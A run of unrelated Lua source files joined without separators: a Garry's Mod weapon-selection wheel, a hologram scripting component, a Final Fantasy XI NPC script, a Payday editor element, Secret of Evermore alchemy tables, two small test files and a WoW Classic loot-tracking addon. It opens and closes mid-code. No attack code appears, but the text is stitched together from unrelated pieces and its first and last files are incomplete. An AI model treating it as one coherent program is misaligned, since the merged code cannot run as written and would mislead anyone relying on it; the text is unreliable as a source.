/ 2; local ang = -full_segsize / 2; for k, v in pairs(self.Wheel.Segments) do -- Is it selected? local trigger_center = ang + full_segsize / 2 local selected = self.Mouse.Polar.Distance > self.Wheel.ReactionTreshold * self.Wheel.Radius && math.abs(ang_distance(math.deg(self.Mouse.Polar.Angle), trigger_center)) < segsize / 2; ang = ang + full_segsize; if (selected && !self:IsSegmentDisabled(v)) then v.Call(); end end -- Stop propagation return false; end function AzWheel.Init() local self = AzWheel; self.Initialized = true; end hook.Add("Initialize", "TTT Wheel Init", AzWheel.Init); -- Handle script reloads if (AzWheel.Initialized) then AzWheel.Init(); end local sensitivity = GetConVar("sensitivity"); function AzWheel.InputMouseApply(cmd, x, y, ang) local self = AzWheel; if (self:IsVisible()) then cmd:SetMouseX(0); cmd:SetMouseY(0); local spd = 1.45; x = x / sensitivity:GetInt() * spd; y = y / sensitivity:GetInt() * spd; local raw = self.Mouse.RawXY + Vector(x, y); local polar = {}; polar.Distance = raw:Length(); polar.Angle = math.atan2(raw.y, raw.x); if (polar.Distance > self.Wheel.Radius - self.Wheel.TumblerSize - self.Wheel.SegmentThickness / 4) then polar.Distance = self.Wheel.Radius - self.Wheel.TumblerSize - self.Wheel.SegmentThickness / 4; raw.x = math.cos(polar.Angle) * polar.Distance; raw.y = math.sin(polar.Angle) * polar.Distance; end self.Mouse.Polar = polar; self.Mouse.RawXY = raw; return true; end end function AzWheel.CreateMove(cmd) local self = AzWheel; if (cmd:GetButtons() % 2 == 1) then if (self:IsVisible()) then cmd:SetButtons(cmd:GetButtons() - 1); self:Hide(); return true; -- Extraordinary hacks? •c• elseif (CurTime() - (self.TimeClosed or 0) < 0.25) then cmd:SetButtons(cmd:GetButtons() - 1); RunConsoleCommand("-attack"); return true; end end if (cmd:KeyDown(IN_ATTACK2)) then if (self:IsVisible()) then cmd:SetButtons(cmd:GetButtons() - 2048); RunConsoleCommand("ttt_dropweapon") WSWITCH:Disable() self:Hide(true); return true; -- Extraordinary hacks? •c• elseif (CurTime() - (self.TimeClosed or 0) < 0.25) then cmd:SetButtons(cmd:GetButtons() - 2048); RunConsoleCommand("-attack2"); return true; end end end hook.Add("OnSpawnMenuOpen", "TTT Wheel Show", AzWheel.Show); hook.Add("OnSpawnMenuClose", "TTT Wheel Hide", AzWheel.Hide); hook.Add("InputMouseApply", "TTT Wheel MouseInput", AzWheel.InputMouseApply); hook.Add("CreateMove", "TTT Wheel MouseClicker", AzWheel.CreateMove);
/*============================================================================================== Expression Advanced: Component -> Holograms. Creditors: Rusketh, Oskar94 ==============================================================================================*/ local LEMON, API = LEMON, LEMON.API local Component = API:NewComponent( "hologram", true ) /*============================================================================================== Section: HoloGram Lib ==============================================================================================*/ local NeedsSync, Recent = false, { } local HoloLib = { Owners = { }, Holograms = { }, HologramOwners = { }, Queue = { } } local Owners, Holograms, HologramOwners, Queue = HoloLib.Owners, HoloLib.Holograms, HoloLib.HologramOwners, HoloLib.Queue LEMON.HoloLib = HoloLib -- Create external! Component:AddExternal( "HoloLib", HoloLib ) function HoloLib.GetAll( Gate ) return Holograms[ Gate ] or { } end function HoloLib.Remove( Context, Holo ) if Holo and Holo:IsValid( ) and Holo.Player == Context.Player then local Gate, Owner = Context.Entity, Context.Player Owners[Owner] = Owners[Owner] - 1 Holograms[Gate][Holo] = nil Holo:Remove( ) end end function HoloLib.RemoveAll( Gate ) local Holos = Holograms[Gate] if Holos then local Count = Owners[Gate.Player] or 0 for _, Holo in pairs( Holograms[Gate] ) do if Holo:IsValid( ) then if table.Count( Holo.Clips ) > 0 then net.Start( "lemon_hologram_remove_clips" ) net.WriteUInt( Holo:EntIndex( ), 16 ) net.Broadcast( ) end Count = Count - 1 Holo:Remove( ) end end if Count < 0 then Count = 0 end -- Should never happen! Owners[Gate.Player] = Count Holograms[Gate] = { } end end function HoloLib.QueueHologram( Gate ) if Gate and Gate:IsValid( ) and Gate.IsHologram then Queue[Gate] = true NeedsSync = true end end function HoloLib.RescaleAny( X, Y, Z, Max, Size ) TestMax = Max * 12 local TextX = X * Size.x if TextX > TestMax or TextX < -TestMax then local Val = Size.x * TestMax X = math.Clamp(Max / Size.x, -Val, Val) end local TextY = Y * Size.y if TextY > TestMax or TextY < -TestMax then local Val = Size.y * TestMax Y = math.Clamp(Max / Size.y, -Val, Val) end local TextZ = Z * Size.z if TextZ > TestMax or TextZ < -TestMax then local Val = Size.z * TestMax Z = math.Clamp(Max / Size.z, -Val, Val) end return X, Y, Z end /*============================================================================================== Section: Convars ==============================================================================================*/ HoloLib._Max = CreateConVar( "lemon_holograms_max", "128" ) HoloLib._Rate = CreateConVar( "lemon_holograms_per_tick", "20" ) HoloLib._Clips = CreateConVar( "lemon_holograms__clips", "5" ) HoloLib._Size = CreateConVar( "lemon_holograms_Size", "50" ) HoloLib._Model = CreateConVar( "lemon_holograms_model_any", "1" ) /*============================================================================================== Section: Models ==============================================================================================*/ HoloLib.ModelList = { ["cone"] = "cone", ["cube"] = "cube", ["cylinder"] = "cylinder", ["hq_cone"] = "hq_cone", ["hq_cylinder"] = "hq_cylinder", ["hq_dome"] = "hq_dome", ["hq_hdome"] = "hq_hdome", ["hq_hdome_thick"] = "hq_hdome_thick", ["hq_hdome_thin"] = "hq_hdome_thin", ["hq_icosphere"] = "hq_icosphere", ["hq_sphere"] = "hq_sphere", ["hq_torus"] = "hq_torus", ["hq_torus_thick"] = "hq_torus_thick", ["hq_torus_thin"] = "hq_torus_thin", ["hq_torus_oldsize"] = "hq_torus_oldsize", ["hq_tube"] = "hq_tube", ["hq_tube_thick"] = "hq_tube_thick", ["hq_tube_thin"] = "hq_tube_thin", ["hq_stube"] = "hq_stube", ["hq_stube_thick"] = "hq_stube_thick", ["hq_stube_thin"] = "hq_stube_thin", ["icosphere"] = "icosphere", ["icosphere2"] = "icosphere2", ["icosphere3"] = "icosphere3", ["plane"] = "plane", ["prism"] = "prism", ["pyramid"] = "pyramid", ["sphere"] = "sphere", ["sphere2"] = "sphere2", ["sphere3"] = "sphere3", ["tetra"] = "tetra", ["torus"] = "torus", ["torus2"] = "torus2", ["torus3"] = "torus3", ["hq_rcube"] = "hq_rcube", ["hq_rcube_thick"] = "hq_rcube_thick", ["hq_rcube_thin"] = "hq_rcube_thin", ["hq_rcylinder"] = "hq_rcylinder", ["hq_rcylinder_thick"]= "hq_rcylinder_thick", ["hq_rcylinder_thin"] = "hq_rcylinder_thin", ["hq_cubinder"] = "hq_cubinder", ["hexagon"] = "hexagon", ["octagon"] = "octagon", ["right_prism"] = "right_prism", // Removed models with their replacements ["dome"] = "hq_dome", ["dome2"] = "hq_hdome", ["hqcone"] = "hq_cone", ["hqcylinder"] = "hq_cylinder", ["hqcylinder2"] = "hq_cylinder", ["hqicosphere"] = "hq_icosphere", ["hqicosphere2"] = "hq_icosphere", ["hqsphere"] = "hq_sphere", ["hqsphere2"] = "hq_sphere", ["hqtorus"] = "hq_torus_oldsize", ["hqtorus2"] = "hq_torus_oldsize", // HQ models with their short names ["hqhdome"] = "hq_hdome", ["hqhdome2"] = "hq_hdome_thin", ["hqhdome3"] = "hq_hdome_thick", ["hqtorus3"] = "hq_torus_thick", ["hqtube"] = "hq_tube", ["hqtube2"] = "hq_tube_thin", ["hqtube3"] = "hq_tube_thick", ["hqstube"] = "hq_stube", ["hqstube2"] = "hq_stube_thin", ["hqstube3"] = "hq_stube_thick", ["hqrcube"] = "hq_rcube", ["hqrcube2"] = "hq_rcube_thick", ["hqrcube3"] = "hq_rcube_thin", ["hqrcylinder"] = "hq_rcylinder", ["hqrcylinder2"] = "hq_rcylinder_thin", ["hqrcylinder3"] = "hq_rcylinder_thick", ["hqcubinder"] = "hq_cubinder" } -- TODO: Add Hook! for _, Model in pairs( HoloLib.ModelList ) do util.PrecacheModel( "models/Holograms/" .. Model .. ".mdl" ) end function HoloLib.Model( Trace, Context, Holo, ModelS ) if IsValid( Holo ) and Holo.Player == Context.Player then local ValidModel = HoloLib.ModelList[ ModelS ] print( "YAY!" ) if ValidModel then Holo:SetModel( "models/Holograms/" .. ValidModel .. ".mdl" ) Holo.ModelAny = false elseif HoloLib._Model:GetInt( ) >= 1 and util.IsValidModel( ModelS ) then Holo:SetModel( Model( ModelS ) ) Holo.ModelAny = true else Context:Throw( Trace, "hologram", "unknown hologram model used" ) end end end /*============================================================================================== Section: Creators ==============================================================================================*/ local IsValidModel = util.IsValidModel function HoloLib.Create( Trace, Context ) local Ent, Owner = Context.Entity, Context.Player local Burst = Recent[Ent] if !Burst then Burst = 0 elseif Burst > HoloLib._Rate:GetInt( ) then Context:Throw( Trace, "hologram", "too many holograms made at once") end local Count = Owners[Owner] if !Count then Count = 0 elseif Count >= HoloLib._Max:GetInt( ) then Context:Throw( Trace, "hologram", "hologram limit reached") end local Holo = ents.Create( "lemon_holo" ) if !Holo or !Holo:IsValid( ) then Context:Throw( Trace, "hologram", "unable to create hologram") end Holo.Player = Owner if CPPI then Holo:CPPISetOwner( Owner ) end Recent[Ent] = Burst + 1 Owners[Owner] = Count + 1 Holograms[Ent][Holo] = Holo -- Hmm? Holo:SetModel( "models/Holograms/sphere.mdl" ) Holo:SetPos( Ent:GetPos( ) ) Holo:Spawn( ) Holo:Activate( ) NeedsUpdate = true Queue[Holo] = true NeedsSync = true return Holo end function HoloLib.Create2( Trace, Context, ModelS ) local Holo = HoloLib.Create( Trace, Context ) local ValidModel = HoloLib.ModelList[ ModelS ] if ValidModel then Holo:SetModel( "models/Holograms/" .. ValidModel .. ".mdl" ) Holo.ModelAny = false return Holo elseif HoloLib._Model:GetInt() >= 1 and IsValidModel( ModelS ) then Holo:SetModel( Model(ModelS) ) Holo.ModelAny = true return Holo end Holo:Remove( ) Context:Throw( Trace, "hologram", "unknown hologram model used") end /*============================================================================================== Section: API Hooks ==============================================================================================*/ function Component:Create( Gate ) Holograms[ Gate ] = { } end function Component:BuildContext( Gate ) HoloLib.RemoveAll( Gate ) end function Component:Remove( Gate ) HoloLib.RemoveAll( Gate ) end function Component:ShutDown( Gate ) HoloLib.RemoveAll( Gate ) end function Component:APIReload( ) for Gate, Holos in pairs( Holograms ) do for _, Holo in pairs( Holos ) do if IsValid( Holo ) then Holo:Remove( ) end end end end /*============================================================================================== Section: Class and Operators ==============================================================================================*/ local Hologram = Component:NewClass( "h", "hologram" ) Hologram:Extends( "e" ) -- Casting: Component:SetPerf( LEMON_PERF_ABNORMAL ) Component:AddOperator( "hologram", "e", "h", [[ if !$IsValid( value %1 ) or !value %1.IsHologram then %context:Throw( %trace, "hologram", "casted none hologram from entity") end ]], "value %1" ) /*============================================================================================== Section: Creator Functions ==============================================================================================*/ Component:SetPerf( LEMON_PERF_EXPENSIVE ) Component:AddFunction( "hologram", "", "h", "%HoloLib.Create( %trace, %context )") Component:AddFunction( "hologram", "s", "h", "%HoloLib.Create2( %trace, %context, value %1 )") Component:AddFunction( "hologram", "s,v", "h", [[ local %Holo = %HoloLib.Create( %trace, %context, value %1 ) %Holo:SetPos( value %2:Garry( ) ) ]], "%Holo" ) /*============================================================================================== Section: Util ==============================================================================================*/ Component:SetPerf( LEMON_PERF_NORMAL ) Component:AddFunction( "remove", "h:", "", "%HoloLib.Remove( %context, value %1 )" ) Component:AddFunction( "setModel", "h:s", "", "%HoloLib.Model( %trace, %context, value %1, value %2 )", "" ) Component:SetPerf( LEMON_PERF_CHEAP ) Component:AddFunction( "isHologram", "e:", "b", "local %Holo = value %1", "(%Holo and %Holo:IsValid( ) and %Holo.IsHologram)" ) -- CVars: Component:AddFunction( "maxHolograms", "", "n", "%HoloLib._Max:GetInt( )" ) Component:AddFunction( "maxHologramClips", "", "n", "%HoloLib._Clips:GetInt( )" ) Component:SetPerf( LEMON_PERF_EXPENSIVE ) Component:AddFunction( "holograms", "", "t", [[ local %Results = %Table( ) for _, Holo in pairs( %HoloLib.GetAll( %context.Entity ) ) do %Results:Insert( nil, "h", Holo ) end]], "%Results" ) /*============================================================================================== Section: Position and Angles ==============================================================================================*/ Component:SetPerf( LEMON_PERF_NORMAL ) Component:AddFunction("setPos", "h:v", "",[[ if $IsValid( value %1 ) and value %1.Player == %context.Player then value %1:SetPos( value %2:Garry( ) ) end]], "" ) Component:AddFunction("setAng", "h:a", "",[[ if $IsValid( value %1 ) and value %1.Player == %context.Player then value %1:SetAngles( value %2 ) end]], "" ) /*============================================================================================== Section: Scale ==============================================================================================*/ Component:SetPerf( LEMON_PERF_ABNORMAL ) Component:AddFunction("scale", "h:v", "", [[ if $IsValid( value %1 ) and value %1.Player == %context.Player then local %Max = %HoloLib._Size:GetInt() local %X, %Y, %Z if !value %1.ModelAny then %X = math.Clamp(value %2.x, -%Max, %Max) %Y = math.Clamp(value %2.y, -%Max, %Max) %Z = math.Clamp(value %2.z, -%Max, %Max) else local %Size = value %1:OBBMaxs() - value %1:OBBMins() %X, %Y, %Z = %HoloLib.RescaleAny(value %2.x, value %2.y, value %2.z, %Max, %Size) end if value %1:SetScale(%X, %Y, %Z) then %HoloLib.QueueHologram( value %1 ) end end]], "" ) Component:AddFunction("scaleUnits", "h:v", "", [[ if $IsValid( value %1 ) and value %1.Player == %context.Player then local %Scale = value %1:OBBMaxs() - value %1:OBBMins() local %Max = %HoloLib._Size:GetInt() local %X = math.Clamp(value %2.x / %Scale.x, -%Max, %Max) local %Y = math.Clamp(value %2.y / %Scale.y, -%Max, %Max) local %Z = math.Clamp(value %2.z / %Scale.z, -%Max, %Max) if value %1.ModelAny then %X, %Y, %Z = %HoloLib.RescaleAny(%X, %Y, %Z, %Max, %Scale) end if value %1:SetScale(%X, %Y, %Z) then %HoloLib.QueueHologram( value %1 ) end end]], "" ) Component:SetPerf( LEMON_PERF_CHEAP ) Component:AddFunction("getScale", "h:", "v", "local %Holo = value %1", "($IsValid(%Holo) and Vector3(%Holo.Scale or Vector(0, 0, 0)) or Vector3.Zero:Clone())" ) /*============================================================================================== Section: Color ==============================================================================================*/ Component:AddFunction("setColor", "h:c", "", [[ if $IsValid( value %1 ) and value %1.Player == %context.Player then value %1:SetColor( $Color( value %2[1], value %2[2], value %2[3], value %2[4] ) ) value %1:SetRenderMode(value %2[4] == 255 and 0 or 4) end]], "" ) Component:AddFunction("getColor", "h:", "c", [[ local %Val = {0, 0, 0, 0} if $IsValid( value %1 ) then local %C = value %1:GetColor( ) %Val = { %C.r, %C.g, %C.b, %C.a } end]], "%Val" ) /*============================================================================================== Section: Material / Skin / Bodygroup ==============================================================================================*/ Component:AddFunction( "setMaterial", "h:s", "", [[ if $IsValid( value %1 ) and value %1.Player == %context.Player then value %1:SetMaterial(value %2) end]], "" ) Component:AddFunction( "getMaterial", "h:", "s", [[ local %Val = "" if $IsValid( value %1 ) then %Val = value %1:GetMaterial( ) or "" end]], "%Val" ) Component:AddFunction( "getSkin", "h:", "n", [[ local %Val = "" if $IsValid( value %1 ) then %Val = value %1:GetSkin( ) or 0 end]], "%Val" ) Component:AddFunction( "getSkinCount", "h:", "n", [[ local %Val = "" if $IsValid( value %1 ) then %Val = value %1:SkinCount( ) or 0 end]], "%Val" ) Component:AddFunction( "setSkin", "h:n", "", [[ if $IsValid( value %1 ) and value %1.Player == %context.Player then value %1:SetSkin(value %2) end]], "" ) Component:AddFunction( "setBodygroup", "h:n,n", "", [[ if $IsValid( value %1 ) and value %1.Player == %context.Player then value %1:SetBodygroup(value %2, value %3) end]], "" ) /*============================================================================================== Section: Rendering ==============================================================================================*/ Component:SetPerf( LEMON_PERF_CHEAP ) Component:AddFunction("shading", "h:b", "", [[ if $IsValid( value %1 ) and value %1.Player == %context.Player then if value %1:SetShading(value %2) then %HoloLib.QueueHologram( value %1 ) end end]], "" ) Component:AddFunction("visible", "h:b", "", [[ if $IsValid( value %1 ) and value %1.Player == %context.Player then if value %1:SetVisible(value %2) then %HoloLib.QueueHologram( value %1 ) end end]], "" ) /*============================================================================================== Section: Clipping ==============================================================================================*/ Component:SetPerf( LEMON_PERF_NORMAL ) Component:AddFunction("pushClip", "h:n,v,v", "", [[ if $IsValid( value %1 ) and value %1.Player == %context.Player then if !value %1:ClipCount( value %2, %HoloLib._Clips:GetInt( ) ) then %context:Throw( %trace, "hologram", "max clip count reached") end if value %1:PushClip( value %2, value %3:Garry( ), value %4:Garry( ) ) then %HoloLib.QueueHologram( value %1 ) end end]], "" ) Component:AddFunction("removeClip", "h:n", "", [[ if $IsValid( value %1 ) and value %1.Player == %context.Player and value %1:RemoveClip( value %2 ) then %HoloLib.QueueHologram( value %1 ) end]], "" ) Component:AddFunction("enableClip", "h:n,b", "", [[ if $IsValid( value %1 ) and value %1.Player == %context.Player and value %1:EnableClip( value %2, value %3 ) then %HoloLib.QueueHologram( value %1 ) end]], "" ) /*============================================================================================== Section: Parent ==============================================================================================*/ Component:SetPerf( LEMON_PERF_CHEAP ) Component:AddFunction("parent", "h:e", "", [[ if $IsValid( value %1 ) and value %1.Player == %context.Player and $IsValid( value %2 )then value %1:SetParent(value %2) end]], "" ) Component:AddFunction("getParentHolo", "h:", "h", [[ local %Val = %NULL_ENTITY if %IsValid( value %1 ) then local %Parent = value %1:GetParent( ) if %Parent and %Parent:IsValid( ) and %Parent.IsHologram then %Val = %Parent end end]], "%Val" ) Component:AddFunction("getParent", "h:", "e", [[ local %Val = %NULL_ENTITY if $IsValid( value %1 ) then local %Parent = value %1:GetParent( ) if %Parent and %Parent:IsValid( ) then %Val = %Parent end end]], "%Val" ) /*============================================================================================== Section: Sync ==============================================================================================*/ local net = net util.AddNetworkString( "lemon_hologram" ) util.AddNetworkString( "lemon_hologram_remove_clips" ) hook.Add("Tick", "Lemon_Holograms", function() if NeedsSync then net.Start("lemon_hologram") for Holo, _ in pairs( Queue ) do if Holo and Holo:IsValid() then Holo:Sync( false ) end end net.WriteUInt( 0, 16 ) net.Broadcast() end Queue, NeedsSync = { }, false Recent = {} end) hook.Add( "PlayerInitialSpawn", "Lemon_Holograms", function( Player ) net.Start("lemon_hologram") for Gate, Holos in pairs( Holograms ) do for _, Holo in pairs( Holos ) do if Holo and Holo:IsValid() and !Queue[Holo] then Holo:Sync( true ) -- We wont force sync whats in the queue! end end end net.WriteUInt( 0, 16 ) net.Send( Player ) end)
----------------------------------- -- Area: Northern San d'Oria -- NPC: Heruze-Moruze -- Involved in Mission: 2-3 Windurst -- !pos -56 -3 36 231 ----------------------------------- local ID = require("scripts/zones/Northern_San_dOria/IDs"); require("scripts/globals/keyitems"); require("scripts/globals/missions"); ----------------------------------- function onTrade(player,npc,trade) if (player:getQuestStatus(SANDORIA,tpz.quest.id.sandoria.FLYERS_FOR_REGINE) == QUEST_ACCEPTED) then if (trade:hasItemQty(532,1) and trade:getItemCount() == 1) then -- Trade Magicmart_flyer player:messageSpecial(ID.text.FLYER_REFUSED); end end end; function onTrigger(player,npc) pNation = player:getNation(); currentMission = player:getCurrentMission(pNation); if (pNation == tpz.nation.WINDURST) then if (currentMission == tpz.mission.id.windurst.THE_THREE_KINGDOMS and player:getCharVar("MissionStatus") == 1) then player:startEvent(582); else player:startEvent(554); end elseif (pNation == tpz.nation.BASTOK) then player:startEvent(578); elseif (pNation == tpz.nation.SANDORIA) then player:startEvent(577); end end; function onEventUpdate(player,csid,option) end; function onEventFinish(player,csid,option) if (csid == 582) then player:setCharVar("MissionStatus",2); end end;
EditorDebug = EditorDebug or class(MissionScriptEditor) EditorDebug.SAVE_UNIT_POSITION = false EditorDebug.SAVE_UNIT_ROTATION = false function EditorDebug:create_element(...) EditorDebug.super.create_element(self, ...) self._element.class = "ElementDebug" self._element.values.debug_string = "none" self._element.values.as_subtitle = false self._element.values.show_instigator = false end function EditorDebug:_build_panel() self:_create_panel() self:StringCtrl("debug_string") self:BooleanCtrl("as_subtitle", {text = "Show as subtitle"}) self:BooleanCtrl("show_instigator") end
ALCHEMY_LOCATION_MAPPING = nil ALCHEMY_IDS = { [0x00] = "acid_rain", [0x01] = "atlas", [0x02] = "barrier", [0x03] = "call_up", [0x04] = "corrosion", [0x05] = "crush", [0x06] = "cure", [0x07] = "defend", [0x08] = "double_drain", [0x09] = "drain", [0x0a] = "energize", [0x0b] = "escape", [0x0c] = "explosion", [0x0d] = "fireball", [0x0e] = "fire_power", [0x0f] = "flash", [0x10] = "force_field", [0x11] = "hard_ball", [0x12] = "heal", [0x13] = "lance", --no laser [0x15] = "levitate", [0x16] = "lightning_storm", [0x17] = "miracle_cure", [0x18] = "nitro", [0x19] = "one_up", [0x1a] = "reflect", [0x1b] = "regrowth", [0x1c] = "revealer", [0x1d] = "revive", [0x1e] = "slow_burn", [0x1f] = "speed", [0x20] = "sting", [0x21] = "stop", [0x22] = "super_heal" } ALCHEMY_LOCATIONS_FLAGS = { [0x00] = 0x13af2a + 2, [0x01] = 0x15e97f + 2, [0x02] = 0x15d3d7 + 1, [0x03] = 0x1bcec8 + 1, [0x04] = 0x18b2f7 + 2, [0x05] = 0x15ba42 + 1, [0x06] = 0x1683b2 + 2, [0x07] = 0x14e506 + 1, [0x08] = 0x14a682 + 6, [0x09] = 0x14a692 + 2, [0x0a] = 0x1bcf34 + 6, [0x0b] = 0x16db70 + 11, [0x0c] = 0x198793 + 2, [0x0d] = 0x17a2d0 + 2, [0x0e] = 0x17e9ed + 2, [0x0f] = 0x14da42 + 1, [0x10] = 0x19da23 + 1, [0x11] = 0x14a9a1 + 9, [0x12] = 0x13dacd + 1, [0x13] = 0x18e164 + 2, --no laser [0x15] = 0x13ed93 + 2, [0x16] = 0x1996f0 + 1, [0x17] = 0x14e70a + 2, [0x18] = 0x198793 + 11, [0x19] = 0x19b750 + 2, [0x1a] = 0x1be026 + 2, [0x1b] = 0x18de1b + 2, [0x1c] = 0x16db3b + 2, [0x1d] = 0x15b216 + 2, [0x1e] = 0x19881d + 2, [0x1f] = 0x149c9c + 2, [0x20] = 0x16e141 + 2, [0x21] = 0x19da2d + 1, [0x22] = 0x1abb91 + 2, } ALCHEMY_LOCATIONS_DETAILED = { [0x00] = "@Quick Sand Fields/Acid Rain Guy/Acid Rain", [0x01] = "@Nobilia/Atlas/", [0x02] = "@Nobilia/Barrier/", [0x03] = "@Main District/Laboratory/Call Up", [0x04] = "@Ivor Tower Sewers/Corrosion/", [0x05] = "@Eastern Beach/Blimp's Cave/Crush", [0x06] = "@Nobilia/Cure/", [0x07] = "@Fire Eyes' Village/Defend Area/Defend", [0x08] = "@River/Drain Cave/Double Drain", [0x09] = "@River/Drain Cave/Drain", [0x0a] = "@Main District/Laboratory/Energize", [0x0b] = "@Western Beach/Horace Camp/Escape", [0x0c] = "@Ebon Keep Interiors/Explosion / Nitro/Explosion", [0x0d] = "@Halls of Collosia 4/Fireball/", [0x0e] = "@Ivor Tower Interiors/Fire Power/", [0x0f] = "@Fire Eyes' Village/Fire Eyes' Hut/Flash", [0x10] = "@Chessboard/Below the Chessboard/Force Field", [0x11] = "@Bugmuck/Hard Ball Cave/Hard Ball", [0x12] = "@Northern Jungle/Mammoth Graveyard/Heal", [0x13] = "lance_npc", --no laser [0x15] = "@Volcano Path/Levitate/", [0x16] = "@Gomi Tower/Lightning Storm/", [0x17] = "@Southern Jungle/Strong Heart's Hut/Miracle Cure", [0x18] = "@Ebon Keep Interiors/Explosion / Nitro/Nitro", [0x19] = "@Dark Forest 1/One Up/", [0x1a] = "@Main District/Junkyard / Boiler Room/Reflect", [0x1b] = "@Ebon Keep/Regrowth Lady's hidden room/Regrowth", [0x1c] = "@Western Beach/Horace Camp/Revealer", [0x1d] = "@Eastern Beach/Blimp's Cave/Revive", [0x1e] = "@Ebon Keep Interiors/Slow Burn/", [0x1f] = "@Volcano Core/Speed/", [0x20] = "@Eastern Beach/Desert of Doom/Sting", [0x21] = "@Chessboard/Below the Chessboard/Stop", [0x22] = "@Ebon Keep Interiors/Super Heal/", } ALCHEMY_LOCATIONS_OVERWORLD = { [0x00] = "@Act 1/Quick Sand Fields/Acid Rain", [0x01] = "@Act 2/Nobilia/Atlas", [0x02] = "@Act 2/Nobilia/Barrier", [0x03] = "@Act 4/Omnitopia/Call Up", [0x04] = "@Act 3/Ivor Tower/Corrosion", [0x05] = "@Act 2/Crustacia/Crush", [0x06] = "@Act 2/Nobilia/Cure", [0x07] = "@Act 1/Fire Eyes' Village/Defend", [0x08] = "@Act 2/Crustacia/Double Drain", [0x09] = "@Act 2/Crustacia/Drain", [0x0a] = "@Act 4/Omnitopia/Energize", [0x0b] = "@Act 2/Crustacia/Escape", [0x0c] = "@Act 3/Ebon Keep/Explosion", [0x0d] = "@Act 2/Halls of Collosia/Fireball", [0x0e] = "@Act 3/Ivor Tower/Fire Power", [0x0f] = "@Act 1/Fire Eyes' Village/Flash", [0x10] = "@Act 3/Chessboard/Force Field", [0x11] = "@Act 1/Bugmuck/Hard Ball", [0x12] = "@Act 1/Northern Jungle/Heal", [0x13] = "lance_npc", --no laser [0x15] = "@Act 1/Volcano Path/Levitate", [0x16] = "@Act 3/Dark Forest/Lightning Storm", [0x17] = "@Act 1/Southern Jungle/Miracle Cure", [0x18] = "@Act 3/Ebon Keep/Nitro", [0x19] = "@Act 3/Dark Forest/One Up", [0x1a] = "@Act 4/Omnitopia/Reflect", [0x1b] = "@Act 3/Ebon Keep/Regrowth", [0x1c] = "@Act 2/Crustacia/Revealer", [0x1d] = "@Act 2/Crustacia/Revive", [0x1e] = "@Act 3/Ebon Keep/Slow Burn", [0x1f] = "@Act 1/Volcano Core/Speed", [0x20] = "@Act 2/Desert of Doom/Sting", [0x21] = "@Act 3/Chessboard/Stop", [0x22] = "@Act 3/Ebon Keep/Super Heal", }
s = Procedural.BezierCurve2():addPoint(Procedural.Vector2(0,0)) :addPoint(Procedural.Vector2(1,0)) :addPoint(Procedural.Vector2(1,1)) :addPoint(Procedural.Vector2(2,1)) :addPoint(Procedural.Vector2(2,0)) :addPoint(Procedural.Vector2(3,0)) :addPoint(Procedural.Vector2(3,1)) :addPoint(Procedural.Vector2(4,1)) :addPoint(Procedural.Vector2(4,0)) :realizeShape() :translate(-2,0) tests:addShape(s)
TestContains = { setUp = function (self) self.a = array("a", "b", "c") end; ["test: Should return false when the array is empty"] = function () luaunit.assertFalse(array():contains("a")) end; ["test: Should return true when the array contains element"] = function (self) luaunit.assertTrue(self.a:contains("c")) end; ["test: Should return false when the array does not contain element"] = function (self) luaunit.assertFalse(self.a:contains("f")) end; ["test: Should return true for nested array when the array contains an array"] = function () luaunit.assertTrue(array("a", "b", "c", array("d", "e", "f")):contains(array("d", "e", "f"))) end; ["test: Should return true for nil when the array contains nil"] = function () luaunit.assertTrue(array("a", nil, "c"):contains(nil)) end; ["test: Should return true for nil when the array is full of nils"] = function () luaunit.assertTrue(array(nil):contains(nil)) end; ["test: Should return false for nil when the array does not contain nil"] = function (self) luaunit.assertFalse(self.a:contains(nil)) end; ["test: Should return true for nil when nil is at the end of the array"] = function () luaunit.assertTrue(array("a", "b", nil):contains(nil)) end; ["test: Should return true for nil when nil is at the start of the array"] = function () luaunit.assertTrue(array(nil, "b", "c"):contains(nil)) end; ["test: Should return false fpr nil when the array is empty"] = function () luaunit.assertFalse(array():contains(nil)) end; }
-- Namespace Variables local addon, addonTbl = ...; -- Module-Local Variables local L = addonTbl.L; addonTbl.Remove = function(arg) if tonumber(arg) then -- The passed argument is a number or item ID. arg = tonumber(arg); if LastSeenClassicItemsDB[arg] then if LastSeenClassicItemsDB[arg].itemLink ~= nil then print(L["ADDON_NAME"] .. LastSeenClassicItemsDB[arg].itemLink .. L["INFO_MSG_ITEM_REMOVED"]); else print(L["ADDON_NAME"] .. arg .. L["INFO_MSG_ITEM_REMOVED"]); end LastSeenClassicItemsDB[arg] = nil; end elseif not tonumber(arg) then -- The passed argument isn't a number, and is likely an item's link. arg = (GetItemInfoInstant(arg)); -- Converts the supposed item link into an item ID. if tonumber(arg) then arg = tonumber(arg); if LastSeenClassicItemsDB[arg] then if LastSeenClassicItemsDB[arg].itemLink ~= nil then print(string.format(L["INFO_MSG_ITEM_REMOVED"], LastSeenClassicItemsDB[arg].itemLink)); else print(string.format(L["INFO_MSG_ITEM_REMOVED"], arg)); end LastSeenClassicItemsDB[arg] = nil; end end else print(L["ADDON_NAME"] .. L["ERROR_MSG_BAD_REQUEST"]); end if (LastSeenClassicLootTemplate[arg]) then LastSeenClassicLootTemplate[arg] = nil end; -- Remove all associated entries that the player looted the item from. end -- Synopsis: Allows the player to remove undesired items from the items table using its ID or link. addonTbl.Search = function(query) local itemsFound = 0; local questsFound = 0; local queryType = string.sub(query, 1, 1); --local query = string.match(query, queryType .. "%s" .. "(.*)"); if tonumber(query) ~= nil then -- It's an ID query = tonumber(query); if LastSeenClassicItemsDB[query] then print(query .. ": " .. LastSeenClassicItemsDB[query].itemLink .. " (" .. addonTbl.GetCount(LastSeenClassicLootTemplate, query) .. ") | " .. LastSeenClassicItemsDB[query].lootDate .. " | " .. LastSeenClassicItemsDB[query].source .. " | " .. LastSeenClassicItemsDB[query].location); itemsFound = itemsFound + 1; end else for k, v in pairs(LastSeenClassicItemsDB) do if v.source ~= L["INFO_MSG_MISCELLANEOUS"] or v.source or v.location or v.itemLink then if string.find(string.lower(v.itemLink), string.lower(query)) then local itemID = (GetItemInfoInstant(k)); print(string.format(k .. ": %s (%s) | %s | %s", v.itemLink, addonTbl.GetCount(LastSeenClassicLootTemplate, itemID), v.lootDate, v.source, v.location)); itemsFound = itemsFound + 1; end if string.find(string.lower(v.source), string.lower(query)) then local itemID = (GetItemInfoInstant(k)); print(string.format(k .. ": %s (%s) | %s | %s", v.itemLink, addonTbl.GetCount(LastSeenClassicLootTemplate, itemID), v.lootDate, v.source, v.location)); itemsFound = itemsFound + 1; end if string.find(string.lower(v.location), string.lower(query)) then local itemID = (GetItemInfoInstant(k)); if v.itemLink == "" then 